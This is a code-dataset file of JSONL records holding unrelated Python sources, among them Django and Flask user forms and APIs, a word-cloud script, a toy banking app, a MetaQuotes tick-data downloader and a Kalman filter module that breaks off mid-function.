%s' % (value.url, value.url, ugettext(u'click to enlarge'), value.name, value.size, ugettext('bytes'), value.width, value.height, ugettext(u'delete?'))\n \n if not retval: # there is no photo uploaded so far\n self.widgets[0].attrs['style'] = 'display:none' \n\n retval += super(ReplaceableAvatarWidget, self).render(name, value, attrs)\n return retval\n\nclass ReplaceableAvatarField(fields.MultiValueField):\n widget = ReplaceableAvatarWidget\n\n default_error_messages = {\n 'too_large': _(u'Maximum photo size cannot exceed %d' % max_avatar_bytes),\n 'squared': _(u'Image should be squared. If you had an old image, be assured it is not erased.'),\n 'max_width': _(u'Maximum image size should be %(width)dx%(width)d' % {'width': max_avatar_width}),\n }\n\n def __init__(self, *args, **kwargs):\n f = (fields.BooleanField(*args, **kwargs), fields.ImageField(*args, **kwargs))\n super(ReplaceableAvatarField, self).__init__(f, *args, **kwargs)\n\n def compress(self, clean_data):\n return clean_data \n\n def clean(self, value):\n (delete, newimg) = super(ReplaceableAvatarField, self).clean(value)\n\n # has the user supplied an image?\n if newimg:\n # the file is a valid image\n if newimg.size > max_avatar_bytes:\n raise ValidationError(self.error_messages['too_large'])\n width, height = get_image_dimensions(newimg)\n if width != height:\n raise ValidationError(self.error_messages['squared'])\n if width > max_avatar_width:\n raise ValidationError(self.error_messages['max_width'])\n\n return (delete, newimg)\n\nclass UserForm(ModelForm):\n first_name = fields.CharField(max_length=30, help_text=_(u'Your first name or nickname, as you prefer! You have up to 30 characters.'))\n last_name = fields.CharField(max_length=60, help_text=_(u'All your family names. You have up to 60 characters.'))\n email = fields.EmailField(max_length=100, help_text=_(u'An e-mail so we can be in touch with you.'))\n class Meta:\n model = User\n fields = ('first_name', 'last_name', 'email')\n\nclass UserProfileForm(ModelForm):\n avatar = ReplaceableAvatarField(label=_('Photo'), required=False, help_text=_(u'A picture of you. Has to be squared (maximum size %(width)dx%(width)d) and the size should not exceed %(size)d bytes. The format should be either JPG, PNG or GIF.' % {'size': max_avatar_bytes, 'width': max_avatar_width})) \n birth = fields.DateField(label=_(u'Birthday'), help_text=_(u'Your birthday in the format yyyy-mm-dd (e.g. 2008-03-27).'), widget=AdminDateWidget)\n\n class Meta:\n model = UserProfile\n exclude = ('user',)\n\n class Media:\n css = {'screen': ('css/datetime.css',)}\n\n def save(self, commit=True):\n \"\"\"This is a horrible hack for django-1.1 since our multiwidget field does\n not interplay anymore with the model.FileFields. This should go away with\n django-1.2, when they introduce deletable files.\"\"\"\n\n # overcome automatic saving files problem\n picture = self.cleaned_data['avatar']\n self.cleaned_data['avatar'] = self.cleaned_data['avatar'][1]\n retval = super(UserProfileForm, self).save(commit)\n self.cleaned_data['avatar'] = picture\n\n # handle our double fielded avatar \n if self.cleaned_data['avatar'][1]:\n f = self.cleaned_data['avatar'][1]\n retval.avatar.save(f.name, f, save=commit)\n # delete the avatar, if asked to do so, and no upload happened\n if self.cleaned_data['avatar'][0] and \\\n not self.cleaned_data['avatar'][1] and retval.avatar:\n retval.avatar.delete(save=commit)\n\n return retval\n\nclass NewUserFormForLoggedUsers(UserCreationForm):\n first_name = fields.CharField(max_length=30, help_text=_(u'Your first name or nickname, as you prefer! You have up to 30 characters.'))\n last_name = fields.CharField(max_length=60, help_text=_(u'All your family names. You have up to 60 characters.'))\n email = fields.EmailField(max_length=100, help_text=_(u'An e-mail so we can be in touch with you.'))\n\n class Meta:\n # reset the fields that are recorded from the default\n model = User\n fields = ('username', 'first_name', 'last_name', 'email')\n\nclass NewUserForm(NewUserFormForLoggedUsers):\n captcha = CaptchaField(label=_(u'Challenge'), help_text=_(u'This challenge is here to avoid spam. Just read the image at the left and write the characters to the right field. Letter case matters. If you find it too hard to read these letters just reload the page to get a different challenge.'))\n \n","sub_path":"project/accounts/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":6045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"513626242","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\"\"\"\n__title__ = ''\n__author__ = 'mi'\n__mtime__ = '2018/12/10'\n# code is far away from bugs with the god animal protecting\n I love animals. They taste delicious.\n ┏┓ ┏┓\n ┏┛┻━━━┛┻┓\n ┃ ☃ ┃\n ┃ ┳┛ ┗┳ ┃\n ┃ ┻ ┃\n ┗━┓ ┏━┛\n ┃ ┗━━━┓\n ┃ 神兽保佑 ┣┓\n ┃ 永无BUG! ┏┛\n ┗┓┓┏━┳┓┏┛\n ┃┫┫ ┃┫┫\n ┗┻┛ ┗┻┛\n\"\"\"\nimport jieba\nfrom openpyxl import Workbook\nfrom wordcloud import WordCloud,STOPWORDS\nfrom scipy.misc import imread #处理图像的函数\nimport matplotlib.pyplot as plt\n\ndef simpleTest():\n\t# barrage_list = ['JAVA','JAVA','JAVA','GROOVY','分布式','分布式','SPRING','SPRING','SPRING','NOSQL','MQ','POSTGRE/ORACLE','FRAMEWORK','MYBATIS/HIBERNATE','AIO/NIO ','爬虫']\n\tbarrage_list = ['PYTHON', 'SpringBoot', 'SpringCloud', 'SHIRO', 'DUBBO', 'DRUID']\n\tall_barrages = ''\n\tfor bl in barrage_list:\n\t\tall_barrages += bl\n\t# words = ' '.join(jieba.cut(all_barrages))\n\twords = ' '.join(barrage_list)\n\t# 这里设置字体路径\n\tWords_Cloud = WordCloud(font_path=\"simkai.ttf\").generate(words)\n\tWords_Cloud.to_file('test.jpg')\n\tprint('成功生成词云...')\n\ndef getByTest():\n\tmodeJPG = '3.jpg'\n\t#自定义可以tab分割\n\ttext = open('MyCiyun.txt','r', encoding='UTF-8').read()\n\t#分词\n\tcut_text =''.join(jieba.cut(text))\n\tcolor_mask = imread('./model/' + modeJPG)\n\tcloud =WordCloud(font_path=\"simkai.ttf\",background_color=\"white\",mask=color_mask,max_words=2000,max_font_size=80)\n\tword_cloud = cloud.generate(text)\n\tword_cloud.to_file('./results/res_'+ modeJPG)\n\t#输出照片\n\tprint('成功生成词云...')\n\tplt.axis('off')\n\tplt.imshow(word_cloud)\n\tplt.show()\n\t# plt.savefig('./results/test2.jpg')\n\nif __name__ == '__main__':\n\t# simpleTest()\n\tgetByTest()","sub_path":"斗鱼弹幕&&分词(连接斗鱼弹幕服务器的方式)/fenciOrderByImg.py","file_name":"fenciOrderByImg.py","file_ext":"py","file_size_in_byte":2032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"372187450","text":"class Solution:\n def spiralOrder(self, matrix):\n if not matrix:\n return []\n m, n = len(matrix), len(matrix[0])\n directions = [(0, 1), (1, 0), (0, -1), (-1, 0)]\n result = []\n x, y, d = 0, 0, 0\n visited = [False] * (m * n)\n\n for _ in range(m * n):\n result.append(matrix[x][y])\n visited[x * m + y] = True\n dx, dy = x + directions[d][0], y + directions[d][1]\n if dx not in range(m) or dy not in range(n) or visited[dx * n + dy]:\n d = (d + 1) % 4\n dx, dy = x + directions[d][0], y + directions[d][1]\n x, y = dx, dy\n return result\n","sub_path":"algorithms/54_SpiralMatrix/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"151539885","text":"from modelAccount import ( AccountClients , Session, session )\nfrom Transactions import ( Transactions )\n\nclass Interface():\n\n def start(self):\n\n\n def novaConta():\n\n nome = input('Insira seu nome:')\n usuario = input('Seu usuario')\n senha = input('Sua senha')\n\n\n obj = AccountClients( name = nome , userLogin = usuario , passwordLogin = senha )\n session.add(obj)\n session.commit()\n\n def painel(user):\n if (user): \n print ()\n print (' ###### Bank of Crazy ########')\n print ()\n print (' Bem vindo: ' + user.name )\n print ()\n print (' 1- Verificar Saldo')\n print (' 2- Realizar Transferencia')\n print (' 3- Extrato')\n print (' 4- Empréstimos')\n print (' 5- Sair')\n print ()\n print (' ############################')\n else: \n print(\"Error.\")\n self.start() \n escolha = int(input('Opção: '))\n if ( escolha == 2):\n\n def InterfaceTransfer():\n print('#### OPERA��ÃO DE TRANSFÊRENCIA BANCÁRIA ######')\n destiny = input('Para qual conta deseja enviar? R: ')\n value = int(input('Qual valor da transferência? R: '))\n if ( value >= 0):\n transaction = Transactions(user,destiny,value)\n transaction.transfer()\n else:\n print('------> Operação cancelada.')\n painel(user)\n \n InterfaceTransfer()\n\n if ( escolha == 1):\n def viewBalance():\n print('#### OPERAÇÃO DE SALDO BANCÁRIO #####')\n print('')\n print('--------> ' + user.name + ', SEU SALDO É: ',user.balance)\n print('')\n painel(user)\n viewBalance()\n if ( escolha == 5):\n print(' ')\n print('------> Até a próxima, '+ user.name)\n\n\n def login():\n pass\n usuario = input(' Insira seu login : ')\n senha = input(' Insira sua senha : ')\n\n filt = session.query(AccountClients).filter_by(userLogin= usuario).first() \n if (filt):\n if( filt.passwordLogin == senha):\n painel(filt)\n else:\n self.start()\n else:\n print(\"Acesso negado. Verifique suas informações de login.\")\n\n print()\n\n print('Welcome to the Crazy Bank!')\n\n print('1 - New Client')\n\n print('2 - Login')\n\n escolha = int(input())\n\n if escolha == 1:\n novaConta()\n elif escolha == 2:\n login()\n else:\n self.start()\n\n \n\n \n\n\n\n","sub_path":"classInterface.py","file_name":"classInterface.py","file_ext":"py","file_size_in_byte":3047,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"297378920","text":"import sys;\n\na = 0;\nb = 1;\n\ndef fib():\n global a;\n global b;\n _a = a;\n a = b;\n b = a + b;\n return a;\n\nn = int(sys.argv[1]);\nfor _ in range(n):\n x = fib();\n #print(x, end= \" \")\nprint(x);\nprint()\n","sub_path":"fibonacci/non-recFib.py","file_name":"non-recFib.py","file_ext":"py","file_size_in_byte":219,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"324050401","text":"#!/usr/bin/env python\n\nimport torch\nimport numpy as np\nimport pandas as pd\nimport matplotlib as mpl\nmpl.use('Agg')\nimport matplotlib.pyplot as plt\n\nimport seaborn as sns\n\nimport embedding\n\nsns.set(style=\"whitegrid\", color_codes=True)\n\nref = embedding.Embedding(gpu=False)\nref.load_vectors(\"output/pi.1000.txt\")\nref.embedding /= ref.embedding.norm(2, 0).expand_as(ref.embedding)\ndim = ref.embedding.shape[1]\n\nmethod = {\n \"Power Iteration\": \"pi\",\n # \"Power Iteration with Momentum\": \"pim\"\n }\n\nl1 = {} # First component loss\nl2 = {} # Second component loss\nlw = {} # Worst component loss\n\nfor m in method:\n it = [i + 1 for i in range(1000)]\n\n e = embedding.Embedding(gpu=False)\n\n l1[m] = []\n l2[m] = []\n lw[m] = []\n for i in it:\n e.load_vectors(\"output/\" + method[m] + \".\" + str(i) + \".txt\")\n e.embedding /= e.embedding.norm(2, 0).expand_as(e.embedding)\n\n l1[m].append(1 - abs(torch.dot(ref.embedding[:, 0], e.embedding[:, 0])))\n l2[m].append(1 - abs(torch.dot(ref.embedding[:, 1], e.embedding[:, 1])))\n lw[m].append(1 - abs(min([torch.dot(ref.embedding[:, i], e.embedding[:, i]) for i in range(dim)])))\n\n # for i in range(1, 10 + 1):\n # data = data.append(pd.DataFrame([[i, i * len(m), m]], columns=[\"Iterations\", \"Loss\", \"Method\"]))\n# print(data)\n\n# obj = sns.pointplot(x=\"Iterations\", y=\"Loss\", hue=\"Method\", data=data, markers=\"\", linestyle=\"-\");\n# figure, ax = plt.subplots(1, 1)\n# figure = obj.get_figure()\n# figure.savefig(\"convergence.pdf\", dpi=300)\nplt.figure(1)\nfor m in method:\n plt.semilogy(it, l1[m], label=m)\nplt.legend()\nplt.xlabel(\"Iterations\")\nplt.ylabel(\"Loss\")\nplt.savefig(\"first.pdf\", dpi=300)\n\nplt.figure(2)\nfor m in method:\n plt.semilogy(it, l2[m], label=m)\nplt.legend()\nplt.xlabel(\"Iterations\")\nplt.ylabel(\"Loss\")\nplt.savefig(\"second.pdf\", dpi=300)\n\nplt.figure(3)\nfor m in method:\n plt.semilogy(it, lw[m], label=m)\nplt.legend()\nplt.xlabel(\"Iterations\")\nplt.ylabel(\"Loss\")\nplt.savefig(\"worst.pdf\", dpi=300)\n","sub_path":"plot_convergence.py","file_name":"plot_convergence.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"101093725","text":"\"\"\"Split Synchronization task.\"\"\"\n\nimport logging\nfrom splitio.api import APIException\nfrom splitio.tasks import BaseSynchronizationTask\nfrom splitio.tasks.util.asynctask import AsyncTask\n\n\nclass TelemetrySynchronizationTask(BaseSynchronizationTask):\n \"\"\"Split Synchronization task class.\"\"\"\n\n def __init__(self, api, storage, period):\n \"\"\"\n Class constructor.\n\n :param api: Telemetry API Client.\n :type api: splitio.api.telemetry.TelemetryAPI\n :param storage: Telemetry Storage.\n :type storage: splitio.storage.InMemoryTelemetryStorage\n \"\"\"\n self._logger = logging.getLogger(self.__class__.__name__)\n self._api = api\n self._period = period\n self._storage = storage\n self._task = AsyncTask(self._flush_telemetry, period)\n\n def _flush_telemetry(self):\n \"\"\"\n Send latencies, counters and gauges to split BE.\n\n :return: True if synchronization is complete.\n :rtype: bool\n \"\"\"\n try:\n latencies = self._storage.pop_latencies()\n if latencies:\n self._api.flush_latencies(latencies)\n except APIException:\n self._logger.error('Failed send telemetry/latencies to split BE.')\n\n try:\n counters = self._storage.pop_counters()\n if counters:\n self._api.flush_counters(counters)\n except APIException:\n self._logger.error('Failed send telemetry/counters to split BE.')\n\n try:\n gauges = self._storage.pop_gauges()\n if gauges:\n self._api.flush_gauges(gauges)\n except APIException:\n self._logger.error('Failed send telemetry/gauges to split BE.')\n\n def start(self):\n \"\"\"Start the task.\"\"\"\n self._task.start()\n\n def stop(self, event=None):\n \"\"\"Stop the task. Accept an optional event to set when the task has finished.\"\"\"\n self._task.stop(event)\n\n def is_running(self):\n \"\"\"\n Return whether the task is running.\n\n :return: True if the task is running. False otherwise.\n :rtype bool\n \"\"\"\n return self._task.running()\n","sub_path":"splitio/tasks/telemetry_sync.py","file_name":"telemetry_sync.py","file_ext":"py","file_size_in_byte":2188,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"277403199","text":"#!/usr/bin/env python\n#############################################################################\n## compounds_2sql_ob.py\n##\n## input columns:\n## smiles cid\n##\n## Jeremy Yang\n## 13 Jan 2017\n#############################################################################\nimport sys,os,getopt,re\n\nPROG=os.path.basename(sys.argv[0])\n\n#############################################################################\nif __name__=='__main__':\n\n DBSCHEMA='public'\n\n usage='''\n%(PROG)s - compounds to SQL\n\nrequired:\n --i INFILE ................... input file\n\noptions:\n --o OUTFILE .................. output file [stdout]\n --dbschema DBSCHEMA .......... [default=\"%(DBSCHEMA)s\"]\n --nmax NMAX .................. quit after NMAX cpds\n --nskip NSKIP ................ skip first NSKIP cpds\n --v .......................... verbose\n --h .......................... this help\n'''%{'PROG':PROG,'DBSCHEMA':DBSCHEMA}\n\n def ErrorExit(msg):\n print >>sys.stderr,msg\n sys.exit(1)\n\n ifile=None; ofile=None; update=False;\n nmax=0; nskip=0;\n verbose=0;\n opts,pargs = getopt.getopt(sys.argv[1:],'',['h','v','vv',\n 'i=','o=','nmax=','nskip=','dbschema='])\n if not opts: ErrorExit(usage)\n for (opt,val) in opts:\n if opt=='--h': ErrorExit(usage)\n elif opt=='--i': ifile=val\n elif opt=='--o': ofile=val\n elif opt=='--dbschema': DBSCHEMA=val\n elif opt=='--nmax': nmax=int(val)\n elif opt=='--nskip': nskip=int(val)\n elif opt=='--vv': verbose=2\n elif opt=='--v': verbose=1\n else: ErrorExit('Illegal option: %s'%val)\n\n fin=file(ifile)\n if not fin:\n ErrorExit('ERROR: cannot open %s'%ifile)\n if ofile:\n fout=file(ofile,\"w\")\n else:\n fout=sys.stdout\n\n n_in=0\n n_out=0\n n_err=0\n while True:\n line=fin.readline()\n if not line: break\n n_in+=1\n if nskip>0 and n_in<=nskip:\n continue\n line=line.strip()\n if not line or line[0]=='#': continue\n fields=re.split('\\s',line)\n if len(fields)<2:\n print >>sys.stderr, \"Bad line: %s\"%line\n n_err+=1\n continue\n\n smi=fields[0]\n smi=re.sub(r'\\\\',r\"'||E'\\\\\\\\'||'\",smi)\n fout.write(\"INSERT INTO %s.compound (cid,cansmi,isosmi) VALUES\"%DBSCHEMA)\n fout.write(\" (%s,\"%fields[1])\n fout.write(\" openbabel.cansmiles('%s'),\"%smi)\n fout.write(\" openbabel.isosmiles('%s'));\\n\"%smi)\n n_out+=1\n if nmax>0 and (n_in-nskip)>=nmax:\n break\n\n fin.close()\n fout.close()\n print >>sys.stderr, \"%s: lines in: %d ; converted to sql: %d\"%(PROG,n_in,n_out)\n print >>sys.stderr, \"%s: errors: %d\"%(PROG,n_err)\n","sub_path":"python/compounds_2sql_ob.py","file_name":"compounds_2sql_ob.py","file_ext":"py","file_size_in_byte":2528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"217513716","text":"from django.conf.urls import url\n\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^auth$', views.Auth.as_view(), name='auth-view'),\n url(r'^profile$', views.Profile.as_view(), name='profile-view'),\n url(r'^rooster$', views.insert_rooster),\n url(r'^rooster/([0-9]{4})/([0-9]{2})/([0-9]+)$', views.rooster),\n url(r'^slaap-analyse$', views.sleep_analyse),\n]\n","sub_path":"api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"444140933","text":"from flask import Blueprint\nfrom flask_restful import Resource, Api, reqparse, marshal, inputs\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy import desc\nimport json, datetime, hashlib\nfrom . import *\nfrom blueprints import db, app, admin_required\nfrom blueprints.user.model import Users\nfrom blueprints.user_detail.model import UserDetails\nfrom blueprints.logging.resources import Logging\nfrom flask_jwt_extended import jwt_required, verify_jwt_in_request, get_jwt_claims\nfrom password_strength import PasswordPolicy\n\nBp_user = Blueprint('user',__name__)\napi = Api(Bp_user)\n\nclass UserResourceAdmin(Resource):\n policy = PasswordPolicy.from_names(\n length = 6,\n uppercase = 1,\n numbers = 1\n )\n @jwt_required\n @admin_required\n def get(self,id):\n qry = Users.query.get(id)\n if qry is not None:\n if not qry.deleted:\n qryJson = marshal(qry, Users.response_fields)\n detail = UserDetails.query.filter_by(user_id=id).first()\n detailJson = marshal(detail, UserDetails.response_fields)\n output = {\n 'user_id' : qryJson['id'],\n 'key': qryJson['key'],\n 'secret': qryJson['secret'],\n 'name' : detailJson['name'],\n 'age' : detailJson['age'],\n 'gender' : detailJson['gender'],\n 'weight_kg' : detailJson['weight_kg'],\n 'height_cm' : detailJson['height_cm'],\n 'deleted' : detailJson['deleted']\n }\n return output, 200\n return {'message' : 'NOT_FOUND'}, 404\n\n @jwt_required\n @admin_required\n def delete(self,id):\n qry = Users.query.get(id)\n if qry is None:\n return {'message':'NOT_FOUND'}, 404\n if qry.deleted:\n return {'message':'NOT_FOUND'}, 404\n # db.session.delete(qry)\n # db.session.commit()\n qry.deleted = True\n db.session.commit()\n \n detail = UserDetails.query.filter_by(user_id=id).first()\n if detail is not None:\n db.session.delete(detail)\n db.session.commit()\n\n for log in Logging.query.filter_by(user_id=id).all():\n db.session.delete(log)\n db.session.commit()\n return {\"message\": \"Deleted\"},200\n\n @jwt_required\n @admin_required\n def put(self,id=None):\n if id is None:\n return {'message' : 'Please enter ID'}, 400, {'Content-Type': 'application/json'}\n parser = reqparse.RequestParser()\n parser.add_argument('key', location = 'json')\n parser.add_argument('secret', location = 'json')\n\n args = parser.parse_args()\n qry = Users.query.get(id)\n\n if qry is None:\n return{'message' : 'NOT_FOUND'}, 404\n if qry.deleted:\n return{'message' : 'NOT_FOUND'}, 404\n if args ['key'] is not None:\n qry.key = args['key']\n if args['secret'] is not None:\n validation = self.policy.test(args['secret'])\n if validation:\n errorList = []\n for item in validation:\n split = str(item).split('(')\n error, num = split[0], split[1][0]\n errorList.append(\"{err}(minimum {num})\".format(err=error, num=num))\n message = \"Please check your password: \" + ', '.join(x for x in errorList)\n return {'message': message}, 422, {'Content-Type': 'application/json'}\n encrypted = hashlib.md5(args['secret'].encode()).hexdigest()\n qry.secret = encrypted\n try:\n db.session.commit()\n except:\n return {'message': 'Integrity Error in Database!'}, 400\n return marshal(qry, Users.response_fields), 200\n\nclass getUsersAdmin(Resource):\n @jwt_required\n @admin_required\n def get(self):\n verify_jwt_in_request()\n claims = get_jwt_claims()\n parser = reqparse.RequestParser()\n parser.add_argument('p', type = int, location = 'args', default = 1)\n parser.add_argument('rp', type = int, location = 'args', default = 25)\n args = parser.parse_args()\n offset = (args['p'] * args['rp']) - args['rp']\n qry = Users.query\n rows = []\n for row in qry.limit(args['rp']).offset(offset).all():\n if not row.deleted:\n rows.append(marshal(row, Users.response_fields))\n return rows, 200\n \n\napi.add_resource(getUsersAdmin,'/list')\napi.add_resource(UserResourceAdmin, '', '/')","sub_path":"Project/blueprints/user/resources.py","file_name":"resources.py","file_ext":"py","file_size_in_byte":4634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"262398215","text":"#!/usr/bin/env python3\n# Sameple usage:\n# ./dl_bt_metaquotes.py -p EURUSD -y 2013,2014\n\nimport sys\nimport os\nimport argparse\nimport datetime\nimport time\nimport re\nimport binascii\nimport hashlib\nimport urllib.request\nfrom urllib.error import HTTPError, ContentTooShortError\nfrom struct import unpack\nfrom convert_dat import decode_body\nimport csv\n\nintlist = lambda l: list(map(int, l))\ndigest = lambda b: binascii.hexlify(hashlib.md5 (b).digest()).decode()\n\nall_currencies = {\n 'EURUSD' : 31525200\n}\n\nclass Metaquotes:\n url_tpl = 'http://history.metaquotes.net/symbols/%s/%s'\n \n def __init__(self, pair, year, month, dest = \"download/metaquotes\"):\n if not os.path.exists(dest):\n os.makedirs(dest)\n self.pair = pair\n self.year = year\n self.month = month\n self.url = self.url_tpl % (pair, 'list.txt')\n self.dest = dest\n self.path = '%s/list.txt' % (dest)\n \n # Downloading/opening list.txt and setting path and url\n self.handleList()\n \n def handleList(self):\n if self.download():\n print('Getting .dat filename for %02d.%04d' % (self.month, self.year))\n with open(self.path, 'r') as fhi:\n filename_start = '%s_%04d_%02d_' % (self.pair, self.year, self.month)\n try:\n dat_filename = next(line.strip() \n for line in fhi \n if line.startswith(filename_start))\n except StopIteration:\n print('Error: Cannot find .dat for %02d.%04d' % (self.month, self.year))\n return False\n self.path = \"%s/%04d/%02d/%s\" % (self.dest, self.year,\n self.month, dat_filename)\n self.url = self.url_tpl % (self.pair, dat_filename)\n return True\n else:\n raise Exception('Error: Cannot find list of .dat files for pair %s in %s.' % \n (self.pair, self.path)\n )\n \n def download(self):\n print('Downloading %s into: %s...' % (self.url, self.path))\n if os.path.isfile(self.path):\n print('File (%s) exists, so skipping.' % (self.path))\n return True\n else:\n if not os.path.exists(os.path.dirname(self.path)):\n os.makedirs(os.path.dirname(self.path))\n try:\n urllib.request.urlretrieve(self.url, filename=self.path)\n except HTTPError as err:\n if err.code == 404:\n print('Error: %s, reason: %s.' % (err.code, err.reason))\n return False\n except ContentTooShortError as err:\n print('Error: The downloaded data is less than the expected amount, so skipping.')\n return False\n return True\n \n def decompress_dat(self):\n with open(self.path, 'rb') as fhi:\n buf = fhi.read()\n matches = re.search(r'([a-z0-9]+)\\.dat', self.path).groups()\n if len(matches) != 1 or len(matches[0]) != 32:\n raise Exception('Error with md5 from filename')\n md5 = matches[0]\n if digest(buf) != md5:\n # CHANGES: If some bug with convertion to csv appears next time this exception would be raised.\n raise Exception('Checksum does not match')\n head, data = decode_body(buf)\n \n with open(self.path, 'wb') as fho:\n fho.write(data) \n \n def dat_to_csv(self):\n try:\n fileSize = os.stat(self.path).st_size\n if fileSize == 0:\n print(\"File (%s) is empty\" % (self.path))\n return\n except FileNotFoundError:\n return False\n\n self.decompress_dat()\n new_path = self.path.replace('.dat', '.csv')\n if os.path.isfile(new_path):\n print(\"CSV file (%s) exists, so skipping.\" % (new_path));\n \n print(\"Converting into CSV (%s)...\" % (new_path))\n\n # Opening output CSV file for write\n f = open(new_path, 'w', newline='')\n w = csv.writer(f, quoting = csv.QUOTE_NONE)\n \n with open(self.path, 'rb') as fhi:\n dat_content = fhi.read()\n \n for i in range(len(dat_content))[:-4]:\n data = unpack('= 8:\n timestamp = \"%d.%02d.%02d %02d:%02d:%06.3f\" % (\n date.year, date.month, date.day, \n date.hour, date.minute, date.second\n )\n ratio = unpack('= all_currencies.get(pair) and unix < time.time():\n ds = Metaquotes(pair, year, month, dest=args.dest + '/' + pair)\n ds.download()\n if args.csv:\n ds.dat_to_csv()\n except ValueError:\n continue\n except KeyboardInterrupt:\n sys.exit()","sub_path":"dl_bt_metaquotes.py","file_name":"dl_bt_metaquotes.py","file_ext":"py","file_size_in_byte":7225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"56"} +{"seq_id":"467895103","text":"import numpy as np\nfrom scipy.linalg import block_diag, sqrtm\nfrom scipy.integrate import odeint\n\n\ndef discrete_predict(model, process):\n \"\"\"Discrete Prediction step for (Extended) Kalman Filter\"\"\"\n def f(state_estimate, time_to, inplace=False):\n if not inplace:\n state_estimate = state_estimate.copy()\n\n if (state_estimate.time == time_to):\n return state_estimate\n\n t, x, P = state_estimate.time, state_estimate.state, state_estimate.covariance\n F = model(t, time_to, x)\n F = np.asarray(F)\n Q = process(t, time_to, x)\n\n xp = np.dot(F, x)\n Pp = np.dot(F, np.dot(P, F.T)) + Q\n\n return state_estimate.set_values(time_to, xp, Pp)\n\n return f\n\n\ndef continuous_predict(model, integrator=None):\n \"\"\"Continuous Prediction step for (Extended) Kalman Filter\"\"\"\n\n f_deriv = kalman_derivative(model)\n\n def f(state_estimate, time_to, inplace=False, **kwargs):\n if not inplace:\n state_estimate = state_estimate.copy()\n\n if (state_estimate.time == time_to):\n return state_estimate\n\n t = state_estimate.time\n xP = state_estimate.to_vector()\n n = len(state_estimate.state)\n m = len(xP)\n\n s = np.sign(time_to - t)\n yout = odeint(f_deriv, xP, [t, time_to], args=(s,))[1]\n xp = yout[0:n]\n Pp = yout[n:m].reshape(n, n)\n return state_estimate.set_values(time_to, xp, Pp)\n\n return f\n\n\ndef discrete_update(observe):\n \"\"\"Update step for (Extended) Kalman Filter\"\"\"\n def f(state_estimate, t, z, R, inplace=False, output=None):\n if not inplace:\n state_estimate = state_estimate.copy()\n\n tx, x, P = state_estimate.time, state_estimate.state, state_estimate.covariance\n assert tx == t, \"State time must equal observation time\"\n\n x = np.asarray(x)\n P = np.asarray(P)\n\n z = np.asarray(z)\n R = np.asarray(R)\n\n # Observation matrix and predicted observation\n zp = observe.predict(t, x)\n H = observe.jacobian(t, x)\n\n assert len(z) == len(zp), \"Predicted observation vector length must equal observation vector length\"\n\n # Innovation and covariance\n innovation = z - zp\n S = np.dot(H, P.dot(H.T)) + R\n invS = np.mat(S).I.A\n chi2 = innovation.T.dot(invS).dot(innovation)\n ds = np.linalg.det(S)\n\n # Kalman gain\n K = np.dot(P, np.dot(H.T, invS))\n\n # Update the state\n xhat = x + np.dot(K, innovation)\n\n # Updating covariance (Joseph Form)\n I = np.eye(len(x))\n ikh = I - np.dot(K, H)\n Phat = np.dot(ikh, np.dot(P, ikh.T)) + np.dot(K, np.dot(R, K.T))\n\n data = {\"innovation\": innovation, \"S\": S, \"K\": K, \"chi2\": chi2, \"detS\": ds}\n if output is not None:\n for key in output:\n for dkey in data:\n if key == dkey:\n output[key] = data[dkey]\n\n return state_estimate.set_values(t, xhat, Phat)\n\n return f\n\n\ndef ut_predict(model, process):\n \"\"\"Prediction step for Unscented Kalman Filter\n \"\"\"\n def f(state, time_to, **kwargs):\n if (state[0] == time_to):\n return state\n\n # State vector and covariance\n t, x, P = state\n nx = len(x)\n P = np.asarray(P)\n Q = process(t, time_to, x)\n\n # Get sigma points\n if np.count_nonzero(np.diag(Q)) == nx:\n x = np.concatenate((x, np.zeros(nx)))\n P = block_diag(P, Q)\n\n # Get sigma points\n xPts, wmPts, wcPts = unscented_transform(x, P, **kwargs)\n\n # Advance sigma points to new time\n for i in range(0, len(xPts)):\n xPts[i][:nx] = np.dot(model(t, time_to, xPts[i][:nx]), xPts[i][:nx])\n\n # Calculate mean\n xhat = np.zeros(nx * nx)\n for xi, wmi in zip(xPts, wmPts):\n xhat += xi * wmi\n\n # Calculate covariance\n Phat = np.zeros((nx * nx, nx * nx))\n for xi, wci in zip(xPts, wcPts):\n di = (xi - xhat).reshape(nx * nx, 1)\n Phat += wci * np.dot(di, di.T)\n\n return time_to, xhat[:nx], Phat[:nx, :nx]\n\n return f\n\n\ndef ut_update(observe):\n \"\"\"Update step for Unscented Kalman Filter\n \"\"\"\n def f(state, observation, sigma_points=None, meta=None, **kwargs):\n\n # State estimate and covariance\n t, x, P = state\n x = np.asarray(x)\n P = np.asarray(P)\n\n # Observation state and covariance\n tz, z, R = observation\n z = np.asarray(z)\n R = np.asarray(R)\n nz = len(z)\n nx = len(x)\n\n assert t == tz, \"State estimate time must equal observation time\"\n\n x = np.concatenate((x, np.zeros(nz)))\n P = block_diag(P, R)\n z = np.concatenate((z, np.zeros(nz)))\n R = block_diag(R, R)\n\n # Get sigma points\n xPts, wmPts, wcPts = unscented_transform(x, P, **kwargs)\n ns = len(xPts)\n\n # Observation matrix and predicted observation\n zPts = np.zeros((ns, 2 * nz))\n for i in range(0, ns):\n zPts[i][:nz] = observe.predict(t, xPts[i][:nx])\n 